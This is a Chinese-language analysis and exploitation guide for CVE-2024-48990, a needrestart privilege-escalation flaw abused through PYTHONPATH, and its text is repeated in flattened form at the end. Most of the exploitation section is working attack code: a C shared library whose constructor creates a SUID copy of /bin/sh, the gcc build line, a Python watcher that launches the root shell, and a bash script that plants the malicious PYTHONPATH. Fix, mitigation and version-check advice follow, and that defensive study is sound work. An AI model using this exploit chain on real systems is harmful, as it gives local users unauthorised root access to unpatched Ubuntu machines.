Ubuntu needrestart权限提升漏洞(CVE-2024-48990)漏洞分析
字数 1459 2025-08-22 12:22:30

Ubuntu needrestart权限提升漏洞(CVE-2024-48990)分析与利用指南

漏洞概述

CVE-2024-48990是Qualys安全团队在needrestart工具中发现的一个高危权限提升漏洞。该漏洞影响3.8版本之前的needrestart,允许攻击者通过精心构造的PYTHONPATH环境变量,以root权限执行任意代码。

受影响组件

needrestart简介

needrestart是一个开源工具,主要用于:

  • 检测Linux系统中因更新未完全生效而需要重启的进程或服务
  • 默认在apt操作(如安装、升级、删除)或自动升级时运行

漏洞原理分析

漏洞触发机制

  1. 环境变量继承:当执行apt操作时,needrestart会检查Python进程是否需要重启
  2. 环境变量提取:从目标进程的/proc/pid/environ文件中提取PYTHONPATH环境变量
  3. 不安全执行:如果存在PYTHONPATH变量,needrestart会保留该变量并执行Python解释器
  4. 恶意库加载:攻击者可以通过设置恶意的PYTHONPATH,导致Python加载攻击者控制的共享库

关键代码行为

  • 环境变量处理(代码行196):从进程环境提取PYTHONPATH并保留
  • Python执行(代码行204):使用提取的环境变量执行Python解释器

漏洞利用方法

攻击前提条件

  1. 攻击者能够在系统上创建文件和目录
  2. 系统管理员或root用户会执行apt操作

攻击步骤详解

1. 准备恶意共享库

创建lib.c文件,内容如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    setuid(0);
    setgid(0);
    const char *shell = "cp /bin/sh /tmp/poc; chmod u+s /tmp/poc &";
    system(shell);
}

此代码的作用:

  • 使用__attribute__((constructor))确保函数在库加载时自动执行
  • 设置有效用户ID和组ID为0(root)
  • 复制/bin/sh到/tmp/poc并设置SUID权限

2. 编译共享库

gcc -shared -fPIC -o "$PWD/importlib/__init__.so" lib.c

这将生成一个名为__init__.so的共享库,放置在importlib目录下。

3. 准备Python监控脚本

创建exp.py文件,内容如下:

import os
import time

if os.path.exists("/tmp/poc"):
    os.remove('/tmp/poc')

while True:
    if os.path.exists("/tmp/poc"):
        print('Got the shell!')
        os.system('/tmp/poc -p')
        break
    time.sleep(0.2)

此脚本的作用:

  • 持续检查/tmp/poc文件是否存在
  • 一旦发现文件存在,立即执行该文件(获取root shell)

4. 执行攻击脚本

创建并执行.sh脚本:

#!/bin/bash
set -e
mkdir -p "$PWD/importlib"
gcc -shared -fPIC -o "$PWD/importlib/__init__.so" lib.c
PYTHONPATH="$PWD" python3 exp.py

此脚本:

  1. 创建importlib目录
  2. 编译恶意共享库
  3. 设置恶意的PYTHONPATH环境变量
  4. 启动监控脚本

5. 等待触发

当管理员执行apt操作时:

  1. needrestart会检查Python进程
  2. 继承攻击者设置的PYTHONPATH
  3. 加载恶意共享库importlib/__init__.so
  4. 执行库中的恶意代码,创建SUID shell
  5. 监控脚本检测到SUID shell后执行,获取root权限

漏洞修复方案

官方修复

升级needrestart到3.8或更高版本,该版本修复了环境变量继承问题。

临时缓解措施

  1. 限制普通用户对/proc目录的访问
  2. 监控和限制可疑的PYTHONPATH设置
  3. 在非必要情况下,限制普通用户执行apt操作

漏洞验证方法

  1. 检查needrestart版本:
    dpkg -l | grep needrestart
    
  2. 确认版本号是否低于3.8

总结

CVE-2024-48990是一个典型的环境变量滥用导致的权限提升漏洞,其核心问题在于:

  1. 从不可信源(进程环境)继承敏感环境变量
  2. 未对PYTHONPATH进行适当清理
  3. 以高权限执行可能被污染的Python环境

此漏洞再次提醒我们,在特权程序中处理用户可控数据时需要格外谨慎,特别是环境变量这类容易被忽视的攻击面。

Ubuntu needrestart权限提升漏洞(CVE-2024-48990)分析与利用指南 漏洞概述 CVE-2024-48990是Qualys安全团队在needrestart工具中发现的一个高危权限提升漏洞。该漏洞影响3.8版本之前的needrestart,允许攻击者通过精心构造的PYTHONPATH环境变量,以root权限执行任意代码。 受影响组件 needrestart简介 needrestart是一个开源工具,主要用于: 检测Linux系统中因更新未完全生效而需要重启的进程或服务 默认在apt操作(如安装、升级、删除)或自动升级时运行 漏洞原理分析 漏洞触发机制 环境变量继承 :当执行apt操作时,needrestart会检查Python进程是否需要重启 环境变量提取 :从目标进程的 /proc/pid/environ 文件中提取PYTHONPATH环境变量 不安全执行 :如果存在PYTHONPATH变量,needrestart会保留该变量并执行Python解释器 恶意库加载 :攻击者可以通过设置恶意的PYTHONPATH,导致Python加载攻击者控制的共享库 关键代码行为 环境变量处理 (代码行196):从进程环境提取PYTHONPATH并保留 Python执行 (代码行204):使用提取的环境变量执行Python解释器 漏洞利用方法 攻击前提条件 攻击者能够在系统上创建文件和目录 系统管理员或root用户会执行apt操作 攻击步骤详解 1. 准备恶意共享库 创建 lib.c 文件,内容如下: 此代码的作用: 使用 __attribute__((constructor)) 确保函数在库加载时自动执行 设置有效用户ID和组ID为0(root) 复制/bin/sh到/tmp/poc并设置SUID权限 2. 编译共享库 这将生成一个名为 __init__.so 的共享库,放置在 importlib 目录下。 3. 准备Python监控脚本 创建 exp.py 文件,内容如下: 此脚本的作用: 持续检查/tmp/poc文件是否存在 一旦发现文件存在,立即执行该文件(获取root shell) 4. 执行攻击脚本 创建并执行 .sh 脚本: 此脚本: 创建importlib目录 编译恶意共享库 设置恶意的PYTHONPATH环境变量 启动监控脚本 5. 等待触发 当管理员执行apt操作时: needrestart会检查Python进程 继承攻击者设置的PYTHONPATH 加载恶意共享库 importlib/__init__.so 执行库中的恶意代码,创建SUID shell 监控脚本检测到SUID shell后执行,获取root权限 漏洞修复方案 官方修复 升级needrestart到3.8或更高版本,该版本修复了环境变量继承问题。 临时缓解措施 限制普通用户对 /proc 目录的访问 监控和限制可疑的PYTHONPATH设置 在非必要情况下,限制普通用户执行apt操作 漏洞验证方法 检查needrestart版本: 确认版本号是否低于3.8 总结 CVE-2024-48990是一个典型的环境变量滥用导致的权限提升漏洞,其核心问题在于: 从不可信源(进程环境)继承敏感环境变量 未对PYTHONPATH进行适当清理 以高权限执行可能被污染的Python环境 此漏洞再次提醒我们,在特权程序中处理用户可控数据时需要格外谨慎,特别是环境变量这类容易被忽视的攻击面。